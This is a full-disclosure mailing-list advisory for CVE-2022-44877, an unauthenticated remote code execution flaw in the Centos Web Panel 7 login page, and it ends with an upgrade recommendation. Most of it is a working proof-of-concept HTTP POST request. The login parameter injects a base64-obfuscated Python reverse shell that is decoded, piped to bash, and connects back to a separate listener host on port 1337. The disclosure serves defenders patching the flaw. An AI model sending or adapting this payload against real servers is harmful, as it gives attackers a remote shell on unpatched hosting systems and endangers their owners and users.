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List:       full-disclosure
Subject:    [FD] Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877
From:       Numan_TÜRLE <numan.turle () gaissecurity ! com>
Date:       2023-01-03 19:20:15
Message-ID: HE1PR05MB45875479541105B300C8907192F49 () HE1PR05MB4587 ! eurprd05 ! prod ! outlook ! com
[Download RAW message or body]

[+] Centos Web Panel 7 Unauthenticated Remote Code Execution
[+] Centos Web Panel 7 - < 0.9.8.1147
[+] Affected Component ip:2031/login/index.php?login=$(whoami)
[+] Discoverer: Numan Türle @ Gais Cyber Security
[+] Vendor: https://centos-webpanel.com/ - \
https://control-webpanel.com/changelog#1669855527714-450fb335-6194 [+] CVE: CVE-2022-44877


Description
--------------
Bash commands can be run because double quotes are used to log incorrect entries to the system.

Video Proof of Concept
--------------
https://www.youtube.com/watch?v=kiLfSvc1SYY


Proof of concept:
--------------
POST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1z \
b2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEi \
LDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCks \
Mik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) \
                HTTP/1.1
Host: 10.13.37.10:2031
Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82
Content-Length: 40
Origin: https://10.13.37.10:2031
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like \
                Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
                
Referer: https://10.13.37.10:2031/login/index.php?login=failed
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=toor&commit=Login
--------------

Solution
--------
Upgrade to CWP7 current version.

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